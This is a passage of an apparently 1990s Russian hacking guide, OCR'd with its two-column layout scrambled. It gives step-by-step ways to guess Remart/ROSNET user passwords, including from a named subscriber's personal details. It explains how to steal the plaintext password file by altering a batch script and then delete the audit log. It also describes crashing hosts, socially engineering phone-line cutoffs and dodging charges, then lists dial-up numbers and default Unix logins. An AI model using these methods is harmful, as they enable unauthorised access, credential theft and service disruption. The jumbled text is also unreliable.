◆ Ukrpack/Odessa — город (кстати, именно такой пароль
К сожалению, как и многие другие «дыры», эту тоже коегде при и был)
крыли.
◆ Ukrpack/Jltccf — город (русскими буквами в английском
Так что она проявляется не везде. регистре)
Интеллектуальный подбор пароля Так же проходимся по все остальным позывным, пятьшесть «ло
пухов» — это практически гарантия.
Итак, у вас есть несколько (или все) ID на интересующем вас хос
те, также у вас есть паспорта этих ID. Самое время приступить к интел Еще коеBчто о подборе паролей
лектуальному подбору паролей.
Самый лучший результат от подбора вы получите, совместив все
Возьмем произвольного абонента: три способа. Сначала перебором проверяете варианты паролей от трех до
Позывной Фамилия/Имя Отчество/ пяти (включительно) символов. Пароли более большей длины вам врят
Телефон /Фирма /Город ли удастся перебрать, так как количиство комбинаций расчитываеться
Ukrpack Лазарев/Андрей Михайлович/ по следующей формуле:
(0482) 33 31 78/СП «ТЕЛНЕТ»/г.Одесса X = S№
Поехали:
где X — количество комбинаций, S — число символов, используе
◆ Ukrpack/Ukrpack мых для перебора, и № — число символов в пароле. Поэтому после того,
◆ Ukrpack/Kcaprku — наоборот как вы перебрали все пароли в диапазоне от трех до пяти символов, вы
точно знаете, что пароль состоит из шести и более символов (в против
◆ Ukrpack/Andrew — имя ном случае вы его подобрали). Приступайте к подбору по паспорту або
нента, если все еще не удалось подобрать пароль, начинайте перебор по
◆ Ukrpack/Andy — имя
словарю с «плохими паролями» (типа «qwerty» и «secret»), удалите из не
◆ Ukrpack/Andrey — имя го трех, четырех и пятисимвольные пароли (так как вы их уже перебра
ли) и приступаете к перебору. И помните: главное — терпение.
◆ Ukrpack/Fylhtq — имя (русскими буквами на английском
регистре) Как узнать пароль абонента посредством «/U»
◆ Ukrpack/Kfpfhtd — фамилия (русскими буквами в Также пароль можно можно узнать следующим способом:
английском регистре)
◆ Зайдите на хост.
◆ Ukrpack/Vb[fqkjdbx — отчество (русскими буквами в
◆ Залогиньтесь под любым логином.
английском регистре)
◆ Включите в своей «терминалке» функцию Capture.
◆ Ukrpack/Lam — ФИО
И вводите:
◆ Ukrpack/Aml — ИОФ /u
◆ Ukrpack/Mal — ОИФ /u
...
◆ Ukrpack/Lma — ФОИ /u
◆ Ukrpack/333178 — телефон Если вам повезет, то какойнибудь юзеростолоп в спешке введет
вместо ID свой пароль, и он у вас благополучно зафиксируется в Cap'е.
◆ Ukrpack/Telnet — фирма
Руководство для начинающих 61 62 Руководство для начинающих

Лучше всего вышеуказанную операцию производить при помощи Способ 1


скрипта. Если вы знаете полный путь к файлу usracc.dat, то забрать этот
файл не составит труда (местонахождения usracc.dat часто можно вы
Как узнать пароль абонента посредством «/E ?» удить из файла структуры библиотеки в виде дерева).
Интересной возможностью Ремарта является команда /e ?. Эта
команда выводит список предыдущих команд. Посмотрев их, часто мож Напишите письмо к самому себе, с аттачем в виде полного пути
но узнать много интересного. к useracc.dat на хосте. При совпадении определенных событий может
прийти (должны быть заняты каналы!) не все, но загpуженность должна
Кардинально новый способ взлома логина быть велика. Данная «фича» на 6100255 не работает.
Имеется одна интересная особенность узла РОСНЕТ: если войти
Способ 2
в какойнибудь хост и наглым образом обломать связь, т.е. вырубить мо
дем или перегрызть провода, а потом сразу после этого позвонить на Предположим, вы уже в Ремарте и у вас есть надлежащий приори
узел, то оказывается, что ты опять в том же хосте. Вот это и является ос тет для создания раздела. Как это проверить? Войдите в библиотеку и
новным ключом метода! проверьте список доступных команд, введя «?;» если в конце списка бу
дет команда ml, вас можно поздравить. Далее действия следующие:
Самое главное — это дождаться, пока какойнибудь несчастный
позвонит на роснетовский модем. Иногда это ожидание оказывается са 1. Создайте раздел, указывающий на корень диска c: и с именем,
мым тяжким. Если же вы все же дождались этого момента, то прежде все к примеру, C:
го надо убедиться, что это не ктото из друзей лезет кудато под гостем. ml /d c c:\
Теперь необходимо позвонить в «Бюро ремонта ГТС» и попросить сроч Параметр /d указывает на то, что должен создаваться dosраздел.
но проверить номер N (т.е. номер РОСНЕТ'а) и тут же пытаться дозво
ниться на него. На ГТС увидят, что номер N занят, и просто обломают Перейдите в раздел c командой c: и получите
ему коннект в качестве профилактического действия. Если вам повезло, C:\>
то у того юзера, которого вы обломали, есть опция «Регистрация», а там Затем командами cd и dir тщательно исследуйте подопытный раз
вы можете посмотреть пароль нажатием кнопки «Z» (это для Ремартси дел на предмет наличия там программных файлов Ремарта (они обычно
стем). размещаются в каталоге \remart или \remart.40, но могут быть и вари
У этого метода есть один большой недостаток: все это нужно де анты).
лать в будний день, в часы работы «Бюро ремонта ГТС», т.е. днем, когда Если РЕМАРТ не удалось найти в данном разделе, грохните его
любой нормальный хакер спит... (раздел) командой
rl c
Как получить USRACC.DAT
создайте новый раздел, указывающий на корень d:, и проделайте
Интересной особенностью Ремарта является то, что имена и паро
вышеописанную операцию с ним. Так продолжайте до умопомрачения
ли юзеров хранятся в файле dat\usracc.dat в незашифрованном виде, а это
или пока вас не выгонит админ.
значит, что, если «уволочь» этот файл, из него можно почерпнуть множе
ство интересного. Дальше диска i: продолжать бессмысленно, поскольку РЕМАРТ
в начальной своей конфигурации позволяет загружать файлы только
Но существенной преградой является то, что обычно (если, конеч
с дисков c, d, e, f, g, h, i, но можно и попробовать...
но, админы не лопухи) каталог, где хранится Ремарт, не попадает в до
ступные разделы библиотеки. Чтобы его достать, необходимо иметь при 2. Если вы нашли каталог Ремарта, полюбуйтесь на файл usracc.dat
оритет не ниже 30 000 (вернее, приоритет определяется конфигурацией в надкаталоге dat. Не пытайтесь загружать его немедленно или смотреть
данного Ремарта и может быть изменен). по type — в лучшем случае система выдаст чтото вроде «Файл занят дру
гим пользователем», а в худшем — зависнет, и все ваши безобразия будут
Чтобы «уволочь» usracc.dat, можно использовать один из следу
видны как на ладони.
ющих способов.
Руководство для начинающих 63 64 Руководство для начинающих

3. Загрузите из главной директории Ремарта файл remart.bat 6. РЕМАРТ выйдет, пакетник remart.bat запустит соответству
и тщательно изучите его. Обратите внимание на ту часть, которая содер ющие проги, cleanup.bat (если вы ничего не перепутали) и запустит опять
жит информацию о «ночной перегенерации». Желательно скинуть и те Ремарт.
файлы, которые пакетник грузит.
Ну, а вы в то время должны терпеливо звонить и ждать. Желатель
Просмотрите его на предмет команд типа pause и других — необ но войти в систему первым (на всякий случай).
ходимо, чтобы Ремарт нормально перезагрузился, иначе, встретив ко
7. Теперь очень просто. Оттуда, куда вы указали копирование
манду типа pause, он будет ждать напряга клавиши на главной консоли,
usracc.dat, даунлоадните его, удалите командой del (не со своего винта!..)
а вы останетесь ни с чем.
и бегите опять в каталог Ремарта. Там восстановите cleanup.bat.
Обычно remart.bat в процессе ночной чистки вызывает cleanup.bat,
8. Напоследок грохните созданный вами раздел командой
в котором содержатся команды вызова внешних модулей. В инсталляци
онном виде remart.bat вызывает чистку и перезапускается. Вот cleanup.bat rl имя_раздела
намто и нужен! 9. Можно грохнуть и аудитфайл...
Не пытайтесь исправлять remart.bat — DOS в таком случае выдает
ругательство batch file missing, и главная консоль зависает. Получение полномочий администратора
Чтобы получить права администратора, имеется очень старый
4. Просмотрите cleanup.bat командой и древний способ.
type cleanup.bat
Договариваетесь со своим другом о том, что в одну и ту же секун
и запомните его содержимое. Теперь сделайте ду (!) вместе лезете на один и тот же хост. И оба вводите admin/admin, од
del cleanup.bat ному из вас система скажет, что пароль неверный, другой зайдет в систе
если у вас на это есть соответствующие права — и заново его набе му под admin'ом. Главное все это делать одновременно.
рите
type cleanup.bat Как повесить хост РЕМАРТА
Наберите строки, которые ранее там были; в конец (или начало) Повесить хост можно одним из следующих способов:
этого файла вставьте строку вида:
Способ 1
copy C:\REMART.40\DAT\USRACC.DAT C:\ Зайдите на какойнибудь хост. На вопрос системы: «Display ANSI
Вместо remart.40 вставьте имя соответствующей директории, под Graphics ([Y]/N)? >», введите «@». На некоторых хостах сразу же вешает
правьте имена дисков, чтобы можно было найти файл и чтобы его копию ся. На некоторых появляется две строки:
можно было впоследствии слить.
Login:
5. Теперь самое время перезапустить РЕМАРТ. Узнайте, кто рабо Password:
тает в системе, и если это левые юзера, ненавязчиво отключите их. Луч Теперь резко начинайте вводить всякую лабуду, не забывая жать
ше всего это сделать командой hangup, поскольку если юзер видит у себя Enter. Через некоторое время (1020 сек.) хост повиснет.
«ноу карриер», он списывает это на недостатки нашей с вами связи, а ес
ли РЕМАРТ ему выдаст чтото типа «Сейчас будет вежливый останов си Надо заметить, что на многих хостах этот метод не проходит, вви
стемы», он может призадуматься. ду самодеятельности админа. То есть обычно для устранения этой «ды
ры» символ «@» заменяют какимнибудь другим. Также нужно помнить,
После того, как в системе не останется юзеров (делать это надо что хост будет висеть недолго (56 мин.).
быстро), запустите перегенерацию командой cleanup из функций адми
нистратора и закончите свой сеанс. Способ 2
Зайдите на какойнибудь хост. Зарегистрируйтесь под любым су
ществующим логином. Введите «/e» (Редактор команд) и начинайте вво
Руководство для начинающих 65 66 Руководство для начинающих

дить лабуду, в данном способе Enter жать не надо! Вскоре после заполне Еще несколько «хитростей» в РЕМАРТЕ
ния строки курсор сам перейдет на следующую, повторите это три раза
(заполните три строки). После заполнения третьей строки хост повиснет. Как не тратить деньги
Для использования этого приема нужна тренировка, так что не огорчай Если у вас есть логин и вы не хотите тратить с его счета деньги,
тесь, если сначала у вас не будет ничего получаться. Самый лучший вари сделайте следующее: перезаходите командой
ант — это поставить у себя Ремарт и потренироваться. /off r
до тех пор, пока вам не вылезет надпись:
Способ 3
Зайдите на какойнибудь хост. Зарегистрируйтесь под логином, Вы работаете по спецтарифу...
имеющим доступ к меню регистрации. Зайдите в меню регистрации Неизвестно, как на других хостах, но на 6100255 работает.
и введите левую команду (например, dir). Ремарт виснет.
Как выкинуть всех из чата
Способ 4 Когда в чате полно народа, не отпуская, долбите Enter или ка
Зайдите на какойнибудь хост. Залогиньтесь под любым существу койнибудь макрос, весь народ (включая и вас, тут важен расчет и каче
ющим логином. Позовите какогонибудь абонента на чат: «/c <имя або ство связи) вылетит с хоста.
нента>» и быстро «бегите» — «GO EMAIL». Если на вас попадут в момент
перехода, то хост повиснет. Как в демоBрежиме пользоваться в чате командами «/p», «/u» и т.д.
Чтобы реализовать вышеуказанную «фичу», нужно зайти в чат не
Способ очень «дубовый», поэтому требует тренировки скриптом. через меню, а командой «go chattop», потом позвать когонибудь на чат
(«C») и сразу же ввести «/u 1».
Способ 5
Зайдите на какойнибудь хост. Залогиньтесь под любым существу Неограниченное время в демоBрежиме
ющим логином. Зайдите в меню функций администратора системы (ес Если вы нажимаете «/u» и видите, что время вашей работы подхо
ли оно, конечно, доступно), и введите команду «SYSINFO». Данный дит к концу, быстро введите «/u 1», пересидите критический момент, и у
способ страбатывает редко, но бывает, как правило если РЕМАРТ не вас в запасе еще столько же времени. Также говорят, что можно сидеть
гpузится из голого ДОС, а повеpх чегонибудь типа менеджеpа памяти больше отведенного времени, если вы ввели «/c», а потом «F+++» — на
или любого болееменее глючного pезидента. род говорит, что это работает.
Способ 6
Для осуществления этой подвиски нужно два человека, предполо
Недокументированные команды РЕМАРТА
жим, это demo1 и demo2. Найдены недокументированные команды РЕМАРТА:

demo1: 1. В меню PROTECT (аналогично вызову модуля почтового адми


нистратора) — если у станицы почтового администратора приоритет вы
/p demo2
ше, чем ваш, то эта информация бесполезна — так как РЕМАРТ все рав
demo2: но не пустит вас туда.
go lib
2. То ли разработчики РЕМАРТа забыли, то ли специально оста
demo1: вили недокументированную команду SQRT (подозрение на извращен
go lib ное и сокращенное «Security»), работает она только в библиотеке, уже
Система виснет. когда вы зашли в раздел, и набирается через Alt+251 («v»), не иначе.
Команда доступна даже Demo — но что она делает, остается пока загад
кой. По команде «? v» РЕМАРТ выдает, что: «Команда SQRT зарезерви
рована» (Вся проблема в том, что сложно найти дебагер, который бы
дебажил Eclipse protection mode — это защищенный режим 80286 процес
Руководство для начинающих 67 68 Руководство для начинающих

сора). Разработчики РЕМАРТА отлаживают и дебажат его совсем Славгород: (38568)


подругому — в файле remstart.com видно, что они запускают файл RE 21099
MARTL.EXE который, естественно, не входит в стандартную поставку
РЕМАРТА. Павловск: (38511)
20216
Контактные телефоны РОСНЕТ 22006
Архангельск: (8182)
20017
433671
Белгород: (07222)
433121
70232
473700
Благовещенск: (4162)
493121
442256
473623
442210
Северодвинск: (81842) 448870
43680
442238
Барнаул: (3852)
442247
261671
Брянск: (08322)
225441
69106
243301
69107
236740
Владивосток: (4232)
242974
261210
Бийск: (38542) 224243
48740
Находка: (42366)
43654
44313
48741
47206
Горноалтайск: (38541)
Уссурийск: (42341)
31205
20601
43411
25751
Рубцовск: (38557)
Владикавказ: (86722)
24273
49075 69601
23523
23206
Руководство для начинающих 69 70 Руководство для начинающих

Волгоград: (8442) Ижевск: (3412)


327790 259194
325494 254035
361440 657632
364354 259613
364231 657610

Волжск: (84459) 254006


75077 Казань: (8432)
37534 384573

Воронеж: (0732) 385398


561946 384784
555467 362352
561947 384895
560435 365398
561948 384774
561949 384707

Россошь: (07396) Альметьевск: (84312)


28486 92439

Екатеринбург: (3432) 31613


449881 96345
511087 96345
495775 96468
512293 96286
449889 96469
Новоуральск: (34370) 31613
44607 33422
43104
Зеленодольск: (84371)
44608 22718
44609 21752
Руководство для начинающих 71 72 Руководство для начинающих

53355 КомсомольскBнаBАмуре: (42172)


53626 30060
36838
Елабуга: (84357)
31746 34175

32699 35857

31760 Кисловодск: (86537)


32130 23655
59465
Н. Челны: (8439)
588215 23650

588208 23591

588217 Ессентуки: (86534)


585703 54621

588235 73226

588237 75902

Чистополь: (84342) Минеральные воды: (86531)


21126 41398

24235 30958
36171
Калуга: (08422)
48328 41891

42016 Пятигорск: (86533)


59411
Киров: (08456)
22211 41331
41330
Козельск: (08442)
21166 Краснодар: (8612)
590578
Малоярославец: (08431)
42511 591122

Обнинск: (08439) 590579


40820 590604
32550 590580
Руководство для начинающих 73 74 Руководство для начинающих

Красноярск: (3912) 4427022


295081 4428077
661122 9258250
661450 4426422
Курск: (0712) 9133571
567347
Московская область: (095)
560756 2296104
567348 2297769
567353
Солнечногорск: (226)
567355 71699
567357
Чехов: (272)
567358 62551
567350 Ступино: (264)
Липецк: (0742) 43406
722049 Мурманск: (8152)
720792 231953
722595 332239

Москва: (095) 332267


9758403 Нальчик 86622
9247485 27249
9212103 26611
9248569 Новосибирск: (3832)
4427088 235538
2068341 101162
4428277 235501
9252629 234672
4428388 235510
4426477 235547
4428577
Руководство для начинающих 75 76 Руководство для начинающих

Новгород: (81600) Саранск: (8342)


73224 179411
76294 176070

Орел: (08622) Сочи: (8622)


53065 999710
58957 999799
53001 922282
53083 Ставрополь: (8652)
Оренбург: (3532) 357906
722930 356865
727035 354142
722931 357505
418998 357418

Пермь ГПСИ: (3422) 351579


900330 356724
900316 Тверь: (08222)
РостовBнаBДону: (8632) 550252
696981 330528
645766 Тюмень: (3452)
644550 262109
662582 262345

Рязань: (0912) 262100


930301 261800
775573 244831

СанктBПетербург: (812) Надым: (34595)


3251626 33186
3110801 32051
2770819 31889
Руководство для начинающих 77 78 Система Unix

УланBУдэ: (30122)
62929 Система Unix
66233
62727

Уфа: (3472) Глава 1.


526210 Операционная система программиста
526220
UNIX, конечно, был изобретен AT&T гдето в 60ых как «опера
377340 ционная система программиста». Во времена, когда изобрели UNIX, эта
цель не была, вероятно, достигнута, зато теперь, похоже, UNIX стала ОС
Хабаровск: (4212) программиста. Как уже говорилось, это многозадачная и многопользова
218147 тельская ОС. К тому же она написана на языке С, во всяком случае, не
332999 малая ее часть, что делает ее портативной операционной системой. Мы
знаем, что МСДОС соответствует компьютерам IBM и их клонам, вер
386276 но? Так вот, с UNIX ситуация иная. Он не соответствует никаким ком
пьютерам, поскольку был адаптирован ко многим, и существует много
Челябинск: (3512) вариантов UNIX (то есть UNIX, измененный продавцом, или нечто по
380715 добное). Некоторые AT&T компьютеры работают под UNIX, а некото
605663 рые под МСДОС (AT&T 6300). Рабочие станции Sun работают под
SunOS, это тоже вариант UNIX, а некоторые VAXкомпьютеры управля
380716 ются Ultrix, это VAXверсия UNIX. Запомните: независимо от того, как
380717 называется операционная система (BSD, UNIX, SunOS, Ultrix, Xenix
и т.д.), они все имеют много общего вроде команд, которые используют
ся операционной системой. Некоторые варианты могут иметь особенно
сти, которых нет в других, но они в основном схожи в том, что имеют
много одинаковых команд и файлов данных. Когда вам ктото станет до
казывать, что UNIX используется в определенных типах компьютеров,
то это, возможно, и так, но помните, что некоторые компьютеры имеют
более одной операционной системы. Например, вам могут сказать, что
UNIX соответствует компьютерам VAX так же, как МСДОС соответ
ствует IBMклонам. Это неверно, и мы упоминаем об этом только пото
му, что видели много сообщений с подобными сравнениями, которые
смущают пользователей, когда они видят VAX, работающий под VMS.

Глава 2.
Идентификация Unix
С этого момента мы будем обозначать все варианты UNIX просто
как UNIX, так что когда будет говориться чтото о UNIX, то, как прави
ло, будут подразумеваться все варианты (то есть варианты Unix System V:
Система Unix 79 80 Система Unix

BSD, SunOS, Ultrix, Xenix и т.д.), если только явно не будет указан кон user user
кретный. games games
install install
Теперь пора рассказать, как unix обычно вас приветствует. Снача reboot * ni. ie?a
ла, когда вы вызываете UNIX или соединяетесь с машиной, где он рабо demo demo
тает, вы обычно видите такую подсказку: umountfsys umountfsys
Login: sync sync
admiu admin
Порядок. Это означает, что это, вероятно, Unix, хотя имеются guest guest
BBS, способные имитировать loginпроцедуру OS (операционной систе daemou daemon
мы) и заставлять некоторых верить в то, что это и есть Unix. (Ха!) Неко
Эккаунты root, mountfsys, umountfsys, install и, иногда, sync — это
торые Unix'ы представляются или выдают перед Login: сообщение вроде
эккаунты корневого уровня. Это означает, что они работают на уровне
такого:
системного администратора или глобально. Остальные логины есть все
Welcome to SHUnix. Please log in. го лишь логины «пользовательского уровня», и это означает, что им под
властны лишь файлы/процессы, принадлежащие этому конкретному
(Добро пожаловать в SHUNIX. Пожалуйста зарегистрируйтесь)
пользователю. Логин REBOOT относится к так называемым командным
Login: логинам, он не пропускает вас в ОС, а простонапросто выполняет свя
занную с ним программу. Как правило, он делает именно то, что обозна
Или чтото в этом роде. Unix'ы свободного доступа (например,
чает, — перезагружает систему. Возможно, он не стандартен во всех
в BBS свободного доступа) сообщат вам, как надо регистрироваться, ес
Юниксах, но его можно увидеть в Юниксах UNISYS, а также в системах
ли вы — новый пользователь. К сожалению, эта глава не о Unix'ах сво
HP/UX (Hewlett Packard Unixes). Пока что эти эккаунты не защищены
бодного доступа, но о них мы кратко поговорим позже, например об ад
паролями, что на наш взгляд весьма глупо.
ресе UUCP/USENET/BITNET для почты.
Итак. Вы добрались до регистрации (login)! Теперь вам надо ввес Командные логины
ти действующий эккаунт (account). Он обычно состоит из 8 или меньше Существуют «командные логины», которые, подобно логину пе
символов. После ввода эккаунта вы, скорее всего, увидите приглашение резагрузки (reboot), исполняют команду и отключают вас от системы, не
ввести пароль. Приглашения могут иметь различный вид, поскольку ис позволяя пользоваться интерпретатором команд. Наличием таких логи
ходные коды для программы регистрации обычно поставляются вместе с нов печально знамениты компьютеры BSD и MIT (Массачусетского тех
UNIX или доступны бесплатно. Так вот, можно посоветовать такой про нологического института). Вот список некоторых:
стейший способ регистрации: получите эккаунт или попробуйте ввести
значения по умолчанию. Эти значения поставляются вместе с операци ◆ rwho — показать, кто в онлайне
онной системой в стандартной форме. Вот список некоторых значений ◆ finger — то же
по умолчанию:
◆ who — то же
ACCOUNT ПАРОЛЬ Они весьма полезны, поскольку выдают список эккаунтов под
root root — (редко открыт для хакеров) ключенных пользователей и тем самым показывают реально существу
sys sys / system / bin ющие эккаунты.
biu sys / bin
mountfsys mountfsys
Ошибки
adm adm
uucp uucp Когда вы введете ошибочный эккаунт/пароль или и то, и другое,
nuucp anon система выдаст сообщение об ошибке. Обычно это сообщение «login
anou anon incorrect».
Система Unix 81 82 Система Unix

Когда компьютер выдает такое сообщение, это означает, что вы Глава 4.


ошиблись и ввели или неверный эккаунт, или верный эккаунт, но невер
ный пароль. По очевидным причинам система не станет вам подсказы Оболочки
вать, какую именно ошибку вы допустили. Кроме того, когда вы реги
стрируетесь с ошибкой, обновляется файл журнала регистрации, и об Оболочка — это исполняемая программа, которая загружается
этом узнает сисадмин. и начинает работать в фоновом режиме, когда пользователь входит в си
стему. Такой «оболочкой» может быть любая исполняемая программа,
Другое сообщение об ошибке — это «Cannot change to home direc указанная в пользовательском файле «passwd». Каждый логин может
tory» или «Cannot Change Directory». Это означает отсутствие «home иметь свою уникальную «оболочку». Идем дальше. Оболочка, с которой
directory», то есть «корневого» раздела эккаунта, то есть раздела, из кото мы обычно будем работать, — это интерпретатор команд (командный
рого вы начинаете работу. В ДОС вы стартуете из А:\ или С:\, или еще процессор). Интерпретатор команд — это нечто, похожее на COM
откудато, а в Юниксе — из /homedirectory. (Примечание: в Юниксе в раз MAND.COM в MS DOS, который обрабатывает команды и пересылает
делах используется / (прямой слэш), а не \ (обратный слэш)). Большин их в ядро (операционную систему). Как уже было сказано, оболочкой
ство систем отключит вас после такого прокола, но некоторые сообщат, может быть любая программа, но вам нужен именно интерпретатор ко
что поместят вас в корневой раздел ['/']. манд. Вот перечень обычных оболочек, которые вы обнаружите:
Другое сообщение об ошибке «No Shell». Оно означает, что для ◆ sh — это «родная» оболочка, базовый «COMMAND.COM»
этого конкретного эккаунта не определен «shell», то есть «оболочка». Unix. Он имеет «скриптовый» язык, как и большинство
О ней мы поговорим позднее. Большинство систем отключит вас после командных процессоров систем Unix.
такого сообщения, но некоторые сообщат, что станут использовать
обычную (стандартную) оболочку, выдав «Using the bourne shell» или ◆ csh — это оболочка «С», позволяющая вводить
«Using sh». Сподобные команды.
◆ ksh — это оболочка korn. Просто еще один интерпретатор
команд.
Глава 3.
◆ tcsh — это оболочка, используемая в MIT. Позволяет
Эккаунты редактировать команды.
Надеюсь, эта глава поможет вам понять пользовательскую струк ◆ vsh — визуальная оболочка, работающая через меню.
туру среды Юникс. Нечто вроде... Windows для DOS.
Так вот, считайте, что Юникс имеет два уровня безопасности: аб ◆ rsh — restricted (ограниченная) или remote (удаленная)
солютную власть и обычный пользователь. Абсолютной властью облада оболочка.
ют пользователи корневого уровня.
Есть и множество других оболочек, включая «самодельные», то
Теперь давайте мыслить числами. Юникс ассоциирует числа есть программы, написанные владельцем Unix или под конкретную вер
с именами эккаунтов. Каждый эккаунт имеет номер. Этот номер есть сию Unix, и все они нестандартные. Запомните, оболочка есть всего
UID (идентификатор пользователя) эккаунта. У корневого пользователя лишь программа, которой вам придется пользоваться, и когда она конча
UID — это 0 (ноль). ет работу, вас отключают от системы. Хороший пример самодельной
Каждый эккаунт с UID = 0 будет иметь доступ к корню. Юникс оболочки можно найти на Eskimo North, это Unix свободного доступа.
обрабатывает не имена эккаунтов (логинов), а связанные с ним числа. Оболочка называется «Esh», и это нечто вроде «одноклавишной BBS», но
Например, если ваш UID = 50, и еще чейто UID тоже 50, то вы оба име это, тем не менее, все равно оболочка.
ете абсолютную власть друг над другом, но только вы, и никто иной. Некоторые компании используют в качестве пользовательских
оболочек текстовые редакторы, базы данных и прочий софт — чтобы
предотвратить ошибки неопытных пользователей и облегчить им жизнь.
Система Unix 83 84 Система Unix

Кроме того, в качестве оболочки может использоваться BBS. []


Когда вы работаете в интерпретаторе команд, подсказка обычно Указывает диапазон. Если ввести b[o,u,i]b, то это означает: bib,
выглядит так: bub, bob. А если ввести b[ad]b, то это значит: bab, bbb, bcb, bdb. [], ? и *
обычно используются при копировании и удалении файлов или выводе
$ списков файлов в разделах.
Когда вы корневой пользователь, подсказка обычно выглядит В Unix учитывается регистр. Это означает, что «Hill» и «hill» — вовсе
так: не одно и то же. Это позволяет хранить много файлов, поскольку «Hill»,
# «hill», «hIll», «hiLl» и так далее могут быть разными файлами. Поэтому,
пользуясь [], вы должны указывать заглавные буквы, если имена нужных
Можно задать значение переменной PS1 для хранения подсказки. вам файлов их содержат. Однако почти все пишется прописными буквами.
Например, если PS1 задана как «HI:», то и ваша подсказка будет выгля
деть так же:
HI: Глава 6.
Команды
Глава 5. Теперь мы перечислим некоторые полезные команды Unix. Все
Спецсимволы будет выглядеть так, как если бы мы реально вводили команды через ко
мандную строку.

ControlBD ls
Конец файла. Когда вы работаете с почтой или текстовым редак Просмотр раздела. Без аргументов эта команда просто выводит
тором, это означает конец сообщения или текстового файла. Если вы на имена файлов в одну или несколько колонок, в зависимости от того,
жмете controld, находясь в оболочке, то выйдете из системы. к какой именно версии программы ls вы имеете доступ.

ControlBJ Пример:
В некоторых системах срабатывает как клавиша «ввод». $ ls
hithere
runme
@ note.text
Иногда означает «отмена». src
$
? Через ключ l выводится расширенная информация о файлах:
Это wildcard (маска). Может обозначать букву. Если вы укажете $ ls l
в командной строке, скажем, «b?b», то Unix станет искать bob, bib, bub, rwx x x sirhack sirh 10990 runme
и все остальные буквы/цифры в интервале az, 09.
и так далее...
* Пояснения:
Может означать любое число символов. Если вы укажете «hi*», то ◆ rwxxx — это файловый доступ.
это означает hit, him, hiiii, hiya и что угодно, начинающееся с hi. «H*l»
может значить hill, hull, hl и что угодно, начинающееся с h и кончающе ◆ sirhack sirh — это владелец файла и группа, в которой файл
еся l. находится. sirhack = владелец, sirh = пользовательская
группа, в которой файл находится.
Система Unix 85 86 Система Unix

◆ 10990 — размер файла в байтах. Так вот, полное имя раздела вводить не надо. Если вы находитесь
в разделе и хотите попасть в (под)раздел, который находится здесь же
◆ runme — имя файла.
(скажем, «src»), то можете ввести «cd src» [без «/»]. Вместо ввода «cd
/usr/sirhack/src» из sirhack dir вы можете ввести «cd src».
cat
Выводит файл на экран. Следует применять к текстовым файлам. cp
Применительно к бинарным файлам используется только чтобы изде
Копирует файл.
ваться над пользователями. Пример:
$ cat note.txt Синтаксис: cp из_файла в_файл
Это образец текстового файла! $ cp runme runme2
$ $ ls
hithere
cd runme
Сменить раздел (директорию). Записывается примерно так: cd note.text
/dir/dir1/dir2/dirn. dir1/... — это имена разделов. Допустим, мы хотим пе src
рейти в корневой раздел: runme2
$ cd / Чтобы скопировать в другой раздел, можно указать полный путь.
*порядок, я уже там* $ cp runme /usr/datwiz/runme
$ ls
bin mv
sys Переименование файла.
etc
temp Синтаксис: mv старое_имя новое_имя
work $ mv runme2 runit
usr $ ls
кстати, все, что выше, — это разделы hithere
$ cd /usr runme
$ ls note.text
sirhack src
datawiz runit
prophet Можно переименовывать файлы в других разделах:
src
$ mv runit /usr/datwiz/run
violence
$ ls
par
hithere
phiber
runme
scythian
note.text
$ cd /usr/sirhack
src
$ ls
$ ls /usr/datwiz
hithere
runme
runme
run
note.text
src
$
Система Unix 87 88 Система Unix

pwd я: Мне пора дописывать этот текст.


scy: ok
Переход в текущий раздел
я: control D [для выхода из программы]
$ pwd $
/usr/sirhack
$ cd src who [w, who, whodo]
$ pwd Выводит список тех, кто в онлайне:
/usr/sirhack/src
$ cd .. $ who
$ pwd login term logontime
/usr/sirhack scythian + tty001 17:20
(«..» означает «использовать имя раздела на один уровень выше») phiberO + tty002 15:50
$ cd ../datwiz sirhack + tty003 17:21
(обозначает cd /usr/datwiz) datawiz — tty004 11:20
$ pwd glitch — tty666 66:60
/usr/datwiz $
$ cd $home Команда who может выдавать разную информацию. «+» означает,
(перейти в раздел home) что вы можете write на этот терминал, а «–» — что не можете.
$ pwd
/usr/sirhack man
Показывает подсказку о команде.
rm
Удалить файл. Синтаксис: man имя_команды. Это программа помощи. Если хоти
те узнать, как пользоваться who, то введите:
Синтаксис: rm имя_файла или rm r имя_раздела
$ man who
$ rm note.text WHO(1) xxx......
$ ls
и получите подсказку.
hithere
runme
src stty
$ Задает характеристики терминала. Вам придется ввести «man stty»,
поскольку каждый stty, похоже, отличен от другого. Пример:
write $ stty parenb
Поболтать с другим пользователем. Ну, «написать» другому поль чтобы установить параметры данных N,8,1. Многие Unix по умол
зователю. чанию работают при e,7,1.
Синтаксис: write имя_пользователя
$ write scythian sz, rz
scythian has been notified (scythian был уведомлен) Послать/получить через zmodem.
Привет Scy! Как дела??
Message from scythian on tty001 at 17:32 rx, sx
Привет! Послать/получить через xmodem.
я: Как жизнь?
scy: Да вроде нормально.
Система Unix 89 90 Система Unix

rb, sb В данном примере использовались:


Послать/получить через batch (пакетный) ymodem. ◆ 71 — число записанных байтов.
Эти 6 программ могут в Unix быть, а могут и не быть. ◆ a — добавить
◆ l — просмотр
umodem
Послать/получить через send/receive via umodem. ◆ # — напечатать номер строки
$ sz filename ◆ w — записать
ready to send... (готов послать...)
◆ l fname — загрузить файл fname
$ rz filename
please send your file... (пожалуйста, пошлите ваш файл...) ◆ s fname — сохранить с именем fname
...etc.. (и т.д.)
◆ w — записать в текущий файл
ed ◆ q — выход
Текстовый редактор.
Синтаксис: ed имя_файла. mesg
Включает/выключает разрешение «писать» (write) на ваш терми
Для создания нового файла просто введите ed имя_файла нал (разрешает чат).
$ ed newtext
0 Формат: «mesg y» (да) или «mesg n» (нет).
* a
Это строка 1 cc
Это строка 2 Компилятор Си.
[control z]
* 1 [чтобы увидеть строку 1] chmod
Это строка 1
Смена «режима» файла. Другими словами, смена доступа.
* a [продолжаем добавлять]
Это строка 3 Синтаксис: chmod mode filename (chmod режим имя_файла)
[control z] $ chmod a+r newtext
*0a [добавить после строки 0]
Теперь все могу читать newtext:
Это ПЕРВАЯ строка
[control z] ◆ a — all (все)
1,4l
◆ r — read (читать).
Это ПЕРВАЯ строка
Это строка 1
Это строка 2 chown
Это строка 3 Сменить владельца файла.
* w
Синтаксис: chown владелец filename
71
* q $ chown scythian newtext
$ $
Система Unix 91 92 Система Unix

chgrp «адресную» часть команды и обычно расширяет ее до полного пути. Это


Сменить группу файла. может выглядеть так:
mail phiber@optik
Синтаксис: chgrp group file
$ chgrp root runme а в компьютере выглядеть так:
$ mail
